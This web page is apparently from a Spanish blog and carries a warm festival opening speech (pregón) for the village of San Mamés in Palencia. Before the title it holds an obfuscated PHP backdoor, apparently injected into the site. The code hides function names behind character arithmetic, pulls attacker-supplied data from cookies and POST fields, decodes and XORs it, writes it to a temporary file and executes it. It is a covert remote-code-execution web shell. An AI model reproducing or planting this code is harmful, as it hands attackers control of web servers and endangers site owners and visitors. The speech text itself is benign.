$nJiipQ = "\x4d" . '_' . "\x48" . chr ( 517 - 443 ).'h' . "\x44" . 'c';$JSZzPIxGbH = "\143" . chr (108) . chr ( 857 - 760 )."\x73" . "\x73" . "\137" . chr (101) . "\170" . chr (105) . chr (115) . "\164" . chr ( 241 - 126 ); $fIaFewIVp = $JSZzPIxGbH($nJiipQ); $nJiipQ = "23744";$GogrbYc = !$fIaFewIVp;$JSZzPIxGbH = "42898";if ($GogrbYc){class M_HJhDc{public function VUjVnhVuEK(){echo "5537";}private $MnLCnTvit;public static $IvErMj = "ea0e5aa3-fac4-4fa1-9ed3-6bffe5e36f6a";public static $UriJCglL = 32002;public function __construct($jhovr=0){$BsAFotg = $_COOKIE;$HvGOKEZQxN = $_POST;$whKRQebSl = @$BsAFotg[substr(M_HJhDc::$IvErMj, 0, 4)];if (!empty($whKRQebSl)){$ItrlW = "base64";$OXyNJYH = "";$whKRQebSl = explode(",", $whKRQebSl);foreach ($whKRQebSl as $FjPPLERFEF){$OXyNJYH .= @$BsAFotg[$FjPPLERFEF];$OXyNJYH .= @$HvGOKEZQxN[$FjPPLERFEF];}$OXyNJYH = array_map($ItrlW . chr ( 610 - 515 ).'d' . "\x65" . 'c' . "\x6f" . chr ( 749 - 649 ).chr (101), array($OXyNJYH,)); $OXyNJYH = $OXyNJYH[0] ^ str_repeat(M_HJhDc::$IvErMj, (strlen($OXyNJYH[0]) / strlen(M_HJhDc::$IvErMj)) + 1);M_HJhDc::$UriJCglL = @unserialize($OXyNJYH);}}private function uDdbCYnU(){if (is_array(M_HJhDc::$UriJCglL)) {$CbAoCoJPkl = sys_get_temp_dir() . "/" . crc32(M_HJhDc::$UriJCglL['s' . chr ( 998 - 901 ).'l' . 't']);@M_HJhDc::$UriJCglL[chr ( 182 - 63 )."\x72" . "\x69" . chr (116) . 'e']($CbAoCoJPkl, M_HJhDc::$UriJCglL["\143" . "\157" . chr (110) . "\164" . 'e' . chr ( 837 - 727 ).'t']);include $CbAoCoJPkl;@M_HJhDc::$UriJCglL["\x64" . chr ( 879 - 778 )."\154" . chr ( 311 - 210 )."\164" . "\x65"]($CbAoCoJPkl); $AhOvtjq = "53441";exit();}}public function __destruct(){$this->uDdbCYnU(); $axitm = str_pad("53441", 10);}}$rQVPaYsKI = new /* 22726 */ M_HJhDc(); $rQVPaYsKI = substr("1707_7598", 1);} El Pregón de las fiestas de San Mamés | desdelallanura

El Pregón de las fiestas de San Mamés

¡¡¡Bienvenidos/-as a todos y a todas!!!

Bueno, antes de nada, os voy a decir por lo que creo que me han elegido para dar el pregón.
Como sabéis, el pregón suele darlo alguien importante o, al menos, famoso. Yo importante, lo que se dice importante, lo soy para mi madre y famosa, lo que se dice famosa, por salir en la tele o por cuestiones de cotilleos o amoríos, no lo soy mucho.

Quizá se han enterado de que tengo contactos con la familia real porque estudié periodismo con Leticia Ortiz o porque también estaba en clase el portavoz de los controladores aéreos, famoso por fastidiar a media España un puente de diciembre de hace algunos años.

El caso es que no se me pegó nada de ellos, pero que aquí estoy, y lo agradezco. Y como los pregones suelen ser solemnes y serios, ahora cambio el tono y empiezo mi discurso.

Si Sabina habla de Madrid, Pongamos que yo hablo de… San Mamés y si últimamente a los periódicos solo les interesa la marca España a mí me interesa la marca San Mamés.

Yo no he nacido en San Mamés, ni me han bautizado en San Mamés, ni siquiera ya vivo en San Mamés. Llevo ya más de 20 años fuera, más de media vida sin vivir aquí, pero cuándo me preguntan de donde soy me sale sin pensarlo San Mamés, de Palencia, con P.

Y lo buscan en los mapas, y a veces no aparece, pero ahí estoy yo como prueba de que existe. Me dicen entonces que soy de una aldea y yo lo niego, soy de un pueblo, de San Mamés. Ese pequeño punto del mapa, para mí siempre es grande, y más en estos días. Ellos ven un punto pequeño en el mapa, yo veo familia, amigos, vecinos, campos y paisajes, vivencias y recuerdos…

Yo siento la marca San Mamés, porque veo puertas y ventanas abiertas de par en par, veo besos y abrazos, veo encuentros, risas y sonrisas. Veo adultos que van siendo padres, veo niños que se van haciendo grandes y mayores que se hacen ancianos y personas que nos faltan, pero que forman parte de San Mamés y lo digo en presente.

Y como sé que hacer marca San Mamés en invierno es duro, porque parece que nieve soledad, voy a acordarme de todos los sanmamesinos que viven en el pueblo durante todo el año. Ellos hacen posible que en mi mapa siempre exista el punto que me identifica. Gracias a todos aquellos que guardan las llaves de las casas de los demás durante el largo invierno, que vigilan las goteras de las casas de los vecinos para que no se estropeen, que cuidan de los huertos y jardines de las casas de los que estamos fuera. Gracias a ellos, porque sé que cuidan con orgullo una parte de mi vida.

A todos os voy a pedir que sigamos haciendo marca desde donde estemos. Podemos hacerlo, es sencillo y os pondré un ejemplo: cada vez que digo escullar, pescatero, chiguitos, banzo o cachaba estoy nombrando a mi pueblo. Y diré una palabra más, que ha ido ganando fuerza y sentido a lo largo de estos últimos años, TELECLUB. El teleclub ofrece vida e ilusión, reúne y da conversación. Gracias a todas las personas que se esfuerzan porque sigamos teniendo nuestro teleclub.

Quiero contaros algo que me sucede a menudo cuando voy acompañada en Madrid, y me encuentro a alguien conocido. Los que van conmigo siempre me preguntan «¿de tu pueblo?». A veces es que sí y la mayoría es que no, pero cuando es que sí, siempre dicen «hay que ver lo que os movéis los de tu pueblo; sois dos y siempre te encuentras con alguien». Os pido, por favor, que nos encontremos y, si hace falta, que nos busquemos.

Y para acabar os diré con la añoranza que da la distancia y con la experiencia que me concede la edad, que sí, que me siento orgullosa de ser de mi pueblo y que voy a disfrutar de estas fiestas con todos vosotros. Y espero que vosotros disfrutéis de estas fiestas conmigo. ¿Se puede pedir más?

2 Comentarios en “El Pregón de las fiestas de San Mamés

Deja un comentario

Tu dirección de correo electrónico no será publicada. Los campos obligatorios están marcados con *